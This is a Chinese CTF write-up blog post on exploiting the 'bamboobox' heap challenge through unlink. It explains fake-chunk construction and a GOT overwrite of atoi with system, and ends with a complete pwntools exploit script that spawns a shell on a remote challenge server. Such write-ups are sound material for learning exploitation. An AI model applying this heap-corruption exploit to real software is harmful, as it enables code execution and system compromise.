bamboobox和unlink

bamboobox两种利用方式,一种通过修改top chunk进行堆溢出,一种通过unlink,这边只讲unlink的方式

首先checksec

这里是可以劫持got表的

程序先跑一下

 就是一个很正常的添加东西的并且输出的程序

 然后ida

 一般来说问题都会出在add和delete的位置上?然后先看add的部分吧

然后看itemlist位置

 从0x6020c0开始,按照堆的规矩,第一个位置放的是size,后面的位置放别的,也就意味着我们的name位置将会放在0x6020c8的位置,然后用gdb看一下堆的存储方式和顺序

 

 对应的是我们输入的大小20

这边不是0x6032b0的原因是我们使用的是mem指针,在之前的文章中说了,最前方的两个位置无法使用,所以要加上0x10

 然后就是想要拿到shell,因为前面说了可以对got表进行劫持也就意味着我们可以通过自带的函数把地址输出来直接atoi的运行地址然后计算得到得到libc的偏移,所以要解决的问题就是伪造一个fake  chunk

总体思路

1首先申请三个堆块

2然后伪造一个fake chunk让系统认为是空,在释放时向前合并

 3然后由于unlink的机制会使指针指向-3的位置上,对于0号堆而言

4此时将name改成atoi的got表地址就能输出位置,然后通过libc计算得出system函数的地址,然后进行覆盖,在后面的有调用atoi函数时输入bin/sh,就可以调用system bin/sh

 具体过程

add(0x40,'a' * 8)	//0
add(0x40,'b' * 8)   //1
add(0x40,'c' * 8)   //2

 申请三个堆块

ptr = 0x6020c8 //全局变量数组list的首地址

 然后伪造fake chunk

fake_chunk = p64(0)			//pre size为0
fake_chunk += p64(0x41)		//这里是因为申请0x40分配空间为0x50,要去掉前面的pre size和size的位置
fake_chunk += p64(ptr-0x18)	//fd
fake_chunk += p64(ptr-0x10)	//bk
fake_chunk += 'c'*0x30		//这里相当于0x50-48=0x30
fake_chunk += p64(0x40)		//覆盖chunk1的prev_size
fake_chunk += p64(0x50)		//覆盖chunk1的size,标志位置0

这里fd和bk的计算方式

pre size    +0

size           +1

fd             +2

bk             +3

可知fd的值为&chunk1-3,按照检查机制p->fd->bk=&chunk1-3+3=&chunk1,即完美的满足了监测机制,同理p->bk->fd=&chunk1-2+2=&chunk1,然后在这道题里,相当于要乘8,即为0x18和0x10
 

payload = p64(0) * 3		
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)

这里的p64(0)的3个主要是为了占位,应为之前说了指向的是name-3的位置,所以需要有三个字母进行占位然后调用show函数进行输出

atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))

然后anzhaolibc的计算方法得出system的地址,然后用system的got表地址覆盖atoi的got表地址,在choice的后面输入bin/sh进行调用

wp的话电脑最近好像被玩崩了,libc有点问题,在重装glibc,反正大概这样,实在不行之后再改吧

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#r = process('./llll')
r= remote("node4.buuoj.cn",26018)
elf = ELF('./llll')
#libc = elf.libc
libc=ELF('libc-2.33.so')
def add(length,name):
    r.recvuntil(":")
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)

def edit(idx,length,name):
    r.recvuntil(':')
    r.sendline('3')
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(':')
    r.sendline(name)

def remove(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

def show():
    r.recvuntil(":")
    r.sendline("1")


add(0x40,'a' * 8)    
add(0x40,'b' * 8)
add(0x40,'c' * 8)

ptr = 0x6020c8         

fake_chunk = p64(0)            
fake_chunk += p64(0x41)        
fake_chunk += p64(ptr-0x18)    
fake_chunk += p64(ptr-0x10)    
fake_chunk += b'c'*0x30    
fake_chunk += p64(0x40)        
fake_chunk += p64(0x50)        
edit(0,0x90,fake_chunk)        
#gdb.attach(r)
remove(1)                    
                            
payload = p64(0) * 3        
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)

edit(0,len(payload),payload)    
#gdb.attach(r)

show()                        


r.recvuntil("0:")

atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,b'\x00'))
libc=LibcSearcher('atoi',atoi_addr)
libcbase = atoi_addr - elf.libc.symbols['atoi']    

system_addr = libcbase + elf.libc.symbols['system']
edit(0,0x10,p64(system_addr))    
gdb.attach(r)
r.recvuntil(":")
r.sendline("/bin/sh")     
r.interactive()
 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值